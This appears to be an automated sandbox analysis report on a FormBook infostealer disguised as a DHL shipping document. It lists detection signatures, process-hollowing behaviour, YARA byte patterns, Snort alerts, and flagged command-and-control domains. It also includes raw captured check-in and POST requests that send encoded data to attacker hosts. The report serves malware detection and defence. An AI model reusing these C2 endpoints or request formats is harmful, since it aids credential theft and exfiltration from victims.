Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DHL_SHIPPING_DOCUMENT.exe

Overview

General Information

Sample Name:DHL_SHIPPING_DOCUMENT.exe
Analysis ID:830431
MD5:04f5c33c1d3f795872b58f8c3922b49e
SHA1:3db181379815210d6fb0491d9660ddefff263224
SHA256:c0fee78265aef8793cb49690cc68fdf3debb84ab529bd59a2883a0c63ee0a6f5
Tags:DHLexeFormbook
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Queues an APC in another process (thread injection)
Modifies the context of a thread in another process (thread injection)
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

Process Tree

  • System is w10x64
  • DHL_SHIPPING_DOCUMENT.exe (PID: 3092 cmdline: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe MD5: 04F5C33C1D3F795872B58F8C3922B49E)
    • eixfhzlwqd.exe (PID: 2040 cmdline: "C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe" C:\Users\user\AppData\Local\Temp\lfcykkdw.xwy MD5: 52BD228566EE8DDE1E37102049937D69)
      • conhost.exe (PID: 2168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • eixfhzlwqd.exe (PID: 856 cmdline: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe MD5: 52BD228566EE8DDE1E37102049937D69)
        • explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
          • help.exe (PID: 2224 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x1ef80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0xadff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    • 0x18217:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
    00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x18015:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x17ab1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x18117:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1828f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xa9ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x16cfc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x1dd37:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1ecea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x1ef80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xadff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x18217:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      Click to see the 13 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      3.2.eixfhzlwqd.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        3.2.eixfhzlwqd.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
        • 0x20d23:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
        • 0xcba2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
        • 0x19fba:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
        3.2.eixfhzlwqd.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x19db8:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x19854:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x19eba:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x1a032:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0xc76d:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x18a9f:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x1fada:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x20a8d:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        3.2.eixfhzlwqd.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          3.2.eixfhzlwqd.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x1ff23:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xbda2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x191ba:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          Click to see the 1 entries

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          Timestamp:192.168.2.481.169.145.8849695802031412 03/20/23-11:27:41.124513
          SID:2031412
          Source Port:49695
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4104.233.254.11349709802031449 03/20/23-11:28:53.219959
          SID:2031449
          Source Port:49709
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4113.52.135.19349703802031453 03/20/23-11:28:29.350188
          SID:2031453
          Source Port:49703
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4113.52.135.19349703802031412 03/20/23-11:28:29.350188
          SID:2031412
          Source Port:49703
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.481.169.145.8849695802031453 03/20/23-11:27:41.124513
          SID:2031453
          Source Port:49695
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4199.192.28.11049699802031453 03/20/23-11:28:13.420032
          SID:2031453
          Source Port:49699
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.48.8.8.860686532023883 03/20/23-11:29:11.441798
          SID:2023883
          Source Port:60686
          Destination Port:53
          Protocol:UDP
          Classtype:Potentially Bad Traffic
          Timestamp:192.168.2.481.169.145.8849695802031449 03/20/23-11:27:41.124513
          SID:2031449
          Source Port:49695
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.446.23.69.4449705802031412 03/20/23-11:28:37.254660
          SID:2031412
          Source Port:49705
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4199.192.28.11049699802031412 03/20/23-11:28:13.420032
          SID:2031412
          Source Port:49699
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4113.52.135.19349703802031449 03/20/23-11:28:29.350188
          SID:2031449
          Source Port:49703
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.446.23.69.4449705802031453 03/20/23-11:28:37.254660
          SID:2031453
          Source Port:49705
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4104.233.254.11349709802031453 03/20/23-11:28:53.219959
          SID:2031453
          Source Port:49709
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.446.23.69.4449705802031449 03/20/23-11:28:37.254660
          SID:2031449
          Source Port:49705
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4199.192.28.11049699802031449 03/20/23-11:28:13.420032
          SID:2031449
          Source Port:49699
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.4104.233.254.11349709802031412 03/20/23-11:28:53.219959
          SID:2031412
          Source Port:49709
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for submitted file
          Source: DHL_SHIPPING_DOCUMENT.exeReversingLabs: Detection: 25%
          Source: DHL_SHIPPING_DOCUMENT.exeVirustotal: Detection: 39%Perma Link
          Yara detected FormBook
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Antivirus detection for URL or domain
          Source: http://www.sowmedia.site/d2a3/?F7L99l=8qpwJ&Mw=lIoejRloD0NPrvtjG56SffHGubt9bC7l7VozaPHGZoJbvkCik3wIcy97/aKLKqf+leC/SNQQ4bUyJkgTGWAXDnv4xxMA9hLjSw==Avira URL Cloud: Label: malware
          Source: http://www.getpay.life/d2a3/?F7L99l=8qpwJ&Mw=VQWJd0zbMmoZh8qz35kMD56sFoyc6gTYso/MZ3BJ/Q0NuTQy4/HeuFqYJgzXZamkeMaLAEsOyVyJpFsiRVW3jp2QSfHijAqmyw==Avira URL Cloud: Label: malware
          Source: http://www.363ww.top/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.sowmedia.siteAvira URL Cloud: Label: malware
          Source: http://www.on-smooth.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.luxgudonu.store/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.sowmedia.site/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.rw-bau.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v+A/wOpED6FQaDJ/tGFUb6Y91ZfjLOaofoM8qmjHtlEGMmc9VxCg==&F7L99l=8qpwJAvira URL Cloud: Label: malware
          Source: http://www.yh78898.com/d2a3/?Mw=/rn7tSorYChcOKKpyJYvjsebDE1EetOtUlfXV6ATVt8jMTNnk8PtnAR6Iam3VdBxJXQPah1uBiYgzGnhkXQp6MgBOVaGh7iMCA==&F7L99l=8qpwJAvira URL Cloud: Label: malware
          Source: http://www.worldhortihealth.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.espisys-technology.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.getpay.lifeAvira URL Cloud: Label: malware
          Source: http://www.luxgudonu.store/d2a3/?Mw=OjO/noXVMTk40sLqqWNUhETz5fwNQfL3iZv4zuTHX4FsBRg0F7vbWW3nqcxNlOGl4ZCA660VFsqTMG20zBTe2NhxC9mrQabZ6Q==&F7L99l=8qpwJAvira URL Cloud: Label: malware
          Source: http://www.espisys-technology.com/d2a3/?Mw=HRt8t1hC6ylxzqu69JiO+2+wCg/IpDjUJ4ODvXLX3JGoHCx8OnZPShMSZXcaT/6Kc192JGOxG+z3HQLrZrJeLIMi1PhqwEBrHA==&F7L99l=8qpwJAvira URL Cloud: Label: malware
          Source: http://www.motherhoodinthegarden.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.versicherungsgott.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://www.yh78898.com/d2a3/Avira URL Cloud: Label: malware
          Source: http://motherhoodinthegarden.com/d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62vAvira URL Cloud: Label: malware
          Source: http://www.on-smooth.com/d2a3/?F7L99l=8qpwJ&Mw=LnB6L7dnOzftoEr5UpUEPAqnd7gAmYo0E1h8Hr8XDrTV/RCVTRWGXzxgMAjKYD2ZiMi0DXBclY2V/N6w7Ub5K9/YRO3kcEW/Xg==Avira URL Cloud: Label: malware
          Source: http://www.versicherungsgott.com/d2a3/?F7L99l=8qpwJ&Mw=3fW4twhu5IX2LSkBcFVlWjxiVco4zHJfqjvATlwHU7q8puaymE5DWsW8adrpP96Z6UNtMOOwQnTRLGoNrAuApIzT11t8CH71vQ==Avira URL Cloud: Label: malware
          Source: http://www.getpay.life/d2a3/Avira URL Cloud: Label: malware
          Source: 3.2.eixfhzlwqd.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 1.2.eixfhzlwqd.exe.20a0000.1.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: DHL_SHIPPING_DOCUMENT.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: DHL_SHIPPING_DOCUMENT.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: wntdll.pdbUGP source: eixfhzlwqd.exe, 00000001.00000003.319488467.000000001A150000.00000004.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000001.00000003.314926280.0000000019FC0000.00000004.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000B1F000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.320016666.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.321428954.000000000086B000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002E50000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000005.00000003.357421969.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002F6F000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: eixfhzlwqd.exe, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000B1F000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.320016666.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.321428954.000000000086B000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002E50000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000005.00000003.357421969.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002F6F000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: help.pdbGCTL source: eixfhzlwqd.exe, 00000003.00000002.357434868.00000000005E0000.00000040.10000000.00040000.00000000.sdmp
          Source: Binary string: help.pdb source: eixfhzlwqd.exe, 00000003.00000002.357434868.00000000005E0000.00000040.10000000.00040000.00000000.sdmp
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_0040290B FindFirstFileW,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_004089F8 FindFirstFileExW,

          Networking

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 50.87.195.203 80
          Source: C:\Windows\explorer.exeNetwork Connect: 37.97.254.29 80
          Source: C:\Windows\explorer.exeDomain query: www.getpay.life
          Source: C:\Windows\explorer.exeNetwork Connect: 46.23.69.44 80
          Source: C:\Windows\explorer.exeDomain query: www.luxgudonu.store
          Source: C:\Windows\explorer.exeDomain query: www.motherhoodinthegarden.com
          Source: C:\Windows\explorer.exeNetwork Connect: 217.160.0.32 80
          Source: C:\Windows\explorer.exeNetwork Connect: 199.192.28.110 80
          Source: C:\Windows\explorer.exeDomain query: www.sowmedia.site
          Source: C:\Windows\explorer.exeDomain query: www.363ww.top
          Source: C:\Windows\explorer.exeDomain query: www.espisys-technology.com
          Source: C:\Windows\explorer.exeDomain query: www.on-smooth.com
          Source: C:\Windows\explorer.exeDomain query: www.yh78898.com
          Source: C:\Windows\explorer.exeDomain query: www.versicherungsgott.com
          Source: C:\Windows\explorer.exeNetwork Connect: 104.233.254.113 80
          Source: C:\Windows\explorer.exeNetwork Connect: 81.169.145.88 80
          Source: C:\Windows\explorer.exeNetwork Connect: 113.52.135.193 80
          Snort IDS alert for network traffic
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49695 -> 81.169.145.88:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49695 -> 81.169.145.88:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49695 -> 81.169.145.88:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49699 -> 199.192.28.110:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49699 -> 199.192.28.110:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49699 -> 199.192.28.110:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 113.52.135.193:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 113.52.135.193:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 113.52.135.193:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49705 -> 46.23.69.44:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49705 -> 46.23.69.44:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49705 -> 46.23.69.44:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49709 -> 104.233.254.113:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49709 -> 104.233.254.113:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49709 -> 104.233.254.113:80
          Source: TrafficSnort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.4:60686 -> 8.8.8.8:53
          Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=3fW4twhu5IX2LSkBcFVlWjxiVco4zHJfqjvATlwHU7q8puaymE5DWsW8adrpP96Z6UNtMOOwQnTRLGoNrAuApIzT11t8CH71vQ== HTTP/1.1Host: www.versicherungsgott.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=cN5AEPknHvfgRR2crmYFAZMRCOFajc7CFMghZAmOXZ6v62v+A/wOpED6FQaDJ/tGFUb6Y91ZfjLOaofoM8qmjHtlEGMmc9VxCg==&F7L99l=8qpwJ HTTP/1.1Host: www.motherhoodinthegarden.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=VQWJd0zbMmoZh8qz35kMD56sFoyc6gTYso/MZ3BJ/Q0NuTQy4/HeuFqYJgzXZamkeMaLAEsOyVyJpFsiRVW3jp2QSfHijAqmyw== HTTP/1.1Host: www.getpay.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=HRt8t1hC6ylxzqu69JiO+2+wCg/IpDjUJ4ODvXLX3JGoHCx8OnZPShMSZXcaT/6Kc192JGOxG+z3HQLrZrJeLIMi1PhqwEBrHA==&F7L99l=8qpwJ HTTP/1.1Host: www.espisys-technology.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=LnB6L7dnOzftoEr5UpUEPAqnd7gAmYo0E1h8Hr8XDrTV/RCVTRWGXzxgMAjKYD2ZiMi0DXBclY2V/N6w7Ub5K9/YRO3kcEW/Xg== HTTP/1.1Host: www.on-smooth.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=OjO/noXVMTk40sLqqWNUhETz5fwNQfL3iZv4zuTHX4FsBRg0F7vbWW3nqcxNlOGl4ZCA660VFsqTMG20zBTe2NhxC9mrQabZ6Q==&F7L99l=8qpwJ HTTP/1.1Host: www.luxgudonu.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?F7L99l=8qpwJ&Mw=lIoejRloD0NPrvtjG56SffHGubt9bC7l7VozaPHGZoJbvkCik3wIcy97/aKLKqf+leC/SNQQ4bUyJkgTGWAXDnv4xxMA9hLjSw== HTTP/1.1Host: www.sowmedia.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /d2a3/?Mw=/rn7tSorYChcOKKpyJYvjsebDE1EetOtUlfXV6ATVt8jMTNnk8PtnAR6Iam3VdBxJXQPah1uBiYgzGnhkXQp6MgBOVaGh7iMCA==&F7L99l=8qpwJ HTTP/1.1Host: www.yh78898.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 37.97.254.29 37.97.254.29
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.motherhoodinthegarden.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.motherhoodinthegarden.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.motherhoodinthegarden.com/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 52 50 52 67 48 34 38 6e 43 63 44 72 51 57 37 78 32 56 34 7a 42 72 67 44 64 38 49 50 6e 38 76 6f 64 73 6f 58 51 78 4b 31 59 4b 66 4d 35 7a 6e 72 59 4d 78 73 76 48 33 4d 57 79 7a 71 4f 73 38 68 53 6c 50 6b 43 37 73 48 61 6c 33 64 52 4a 61 49 55 74 48 45 77 42 30 64 45 57 55 47 65 6f 4a 4e 45 31 6e 4e 54 76 37 4c 76 51 4d 56 4e 5f 61 4c 49 47 62 36 39 54 61 42 67 30 39 53 57 70 77 6a 63 39 73 53 78 69 4e 63 75 5a 67 70 66 58 6f 4e 74 75 34 38 6b 37 52 6f 46 4b 7a 32 6d 63 36 72 59 4f 68 6c 31 76 75 6c 69 48 75 4b 41 73 35 69 34 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=RPRgH48nCcDrQW7x2V4zBrgDd8IPn8vodsoXQxK1YKfM5znrYMxsvH3MWyzqOs8hSlPkC7sHal3dRJaIUtHEwB0dEWUGeoJNE1nNTv7LvQMVN_aLIGb69TaBg09SWpwjc9sSxiNcuZgpfXoNtu48k7RoFKz2mc6rYOhl1vuliHuKAs5i4g).
          Source: global trafficHTTP traffic detected: POST /d2a3/ HTTP/1.1Host: www.getpay.lifeConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.getpay.lifeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.getpay.life/d2a3/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 4d 77 3d 59 53 7e 70 65 44 58 45 52 32 41 4a 75 4b 79 6c 6f 61 34 46 4b 63 36 66 62 59 6a 65 76 54 76 39 30 65 44 47 65 57 35 53 31 54 34 38 7a 48 34 74 35 70 44 6d 76 32 66 63 50 43 4f 51 59 35 50 72 66 76 37 76 5a 41 39 51 79 43 50 51 6a 58 64 6d 4b 48 43 42 67 2d 76 4a 55 64 50 68 6e 56 36 4e 79 68 45 4a 6a 54 6f 41 6f 7a 4f 72 6a 65 4a 52 54 33 78 70 28 52 37 4e 6f 2d 4d 53 47 57 33 64 69 6f 43 62 53 5a 37 69 52 7a 7a 50 63 56 41 6d 66 68 42 39 43 77 73 74 76 76 64 6e 4c 50 62 78 32 52 33 49 31 47 69 67 75 4a 59 76 36 74 42 73 63 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: Mw=YS~peDXER2AJuKyloa4FKc6fbYjevTv90eDGeW5S1T48zH4t5pDmv2fcPCOQY5Prfv7vZA9QyCPQjXdmKHCBg-vJUdPhnV6NyhEJjToAozOrjeJRT3xp(R7No-MSGW3dioCbSZ7iRzzPcVAmfhB9CwstvvdnLPbx2R3I1GiguJYv6tBscg).
